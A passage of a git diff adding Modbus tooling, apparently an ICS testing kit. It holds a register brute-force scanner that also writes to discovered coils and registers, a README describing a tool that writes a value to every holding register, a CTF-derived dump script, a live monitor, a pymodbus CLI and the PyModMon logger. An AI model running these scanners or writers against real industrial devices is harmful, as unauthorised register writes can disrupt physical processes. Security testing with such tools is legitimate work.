tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) +parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds +parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) +parser.add_argument('-f','--function',choices=['rcs','wcs','wc','rds','rhs','whs','wh','ris','rwh','mwh','read-coils','write-coils','write_coil','read-discretes','read-holdings','write-holdings','write-holding','read-inputs','read-write-registers','mask-write-register']) + +parser.add_argument('-d','--debug',action='store_true') + +kargs, uargs = parser.parse_known_args() + +duargs = {} + +for s in uargs: + key,val = s.split('=') + duargs[key]=val + +if kargs.debug: + print('dict',kargs.__dict__) + print('debug', kargs.debug) + print('Known: ', kargs) + print('Unknown: ',uargs) + print('Unknown Dict: ',duargs) + quit() + +client = None + +try: + if kargs.method == 'tcp': + from pymodbus.client.sync import ModbusTcpClient + + client = ModbusTcpClient(kargs.ip,port=kargs.port,unit_id=kargs.unit) + + elif kargs.method == 'rtu': + from pymodbus.client.sync import ModbusSeriaClient + + client = ModbusRtuClient(kargs.method, port=kargs.port, stopbits=kargs.stopbits,bytesize=kargs.bytesize,parity=kargs.parity,baudrate=kargs.baudrate,timeout=kargs.timeout) + + if client != None: + display_prefix = '' + function_result = None + write_result = None + for x in range(kargs.repeat): + if kargs.function in ['rcs','read-coils']: + read = client.read_coils(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Coils' + + elif kargs.function in ['rds','read-discretes']: + read = client.read_discrete_inputs(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Discretes' + + elif kargs.function in ['ris','read-inputs']: + read = client.read_input_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.registers + display_prefix = 'Read Input Registers' + + elif kargs.function in ['rhs','read-holding']: + read = client.read_holding_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result = read.registers + display_prefix = 'Read Holding' + + elif kargs.function in ['wc','write-coil']: + result = client.write_coil(kargs.address,stringBool(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Coil' + + elif kargs.function in ['wcs','write-coils']: + coil_values = arrayStringBools(kargs.values) + result = client.write_coils(kargs.address,coil_values,unit=kargs.unit) + write_result = result + display_prefix = 'Write Coils' + + elif kargs.function in ['wh','write-holding']: + result = client.write_register(kargs.address,stringToInt(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Register' + + elif kargs.function in ['whs','write-holdings']: +# print('-------> Values: ' +str(arrayStringInts(kargs.values))) + result = client.write_registers(kargs.address,arrayStringInts(kargs.values),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Registers' + + else: + print('Function "%s" is not yet implemented in this wrapper. Exiting' % kargs.function) + quit() + +# Display results + if function_result != None: + print(display_prefix + ' #%s' % x,functools.reduce(lambda x,y: str(x)+ ',' + str(y),function_result[:kargs.count])) + + if write_result != None: + print(display_prefix + ' #%s' % x, write_result) + +finally: + if client != None: + client.close() + diff --git a/modbus/misc/pymodmon.py b/modbus/misc/pymodmon.py new file mode 100644 index 0000000..9a5e464 --- /dev/null +++ b/modbus/misc/pymodmon.py @@ -0,0 +1,976 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 2.7, pymodbus, docopt +# +# Date created: 2016-05-04 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print ('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print ('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print 'Could not read configuration file. Please check file path and/or file.' + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import ConfigParser + Config = ConfigParser.SafeConfigParser() + ## read the config file + Config.read(data.inifilename) + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + ## use ini file capabilities + import ConfigParser + Config = ConfigParser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = open(data.inifilename,'w') + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',data.ipaddress) + Config.set('CommSettings','port number',data.portno) + Config.set('CommSettings','Modbus ID',data.modbusid) + Config.set('CommSettings','manufacturer',data.manufacturer) + Config.set('CommSettings','logger interval',data.loginterval) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',data.logfilename) + Config.set('FileSettings','log buffer',data.logmaxbuffer) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',data.datasets) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print (data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4] + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + thisrow = [s.encode('utf-8') for s in thisrow] + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print ('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print thiserrormessage + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32) + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print 'Current datasets: ',(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print '' + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print 'PyModMon has exited cleanly.' + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be 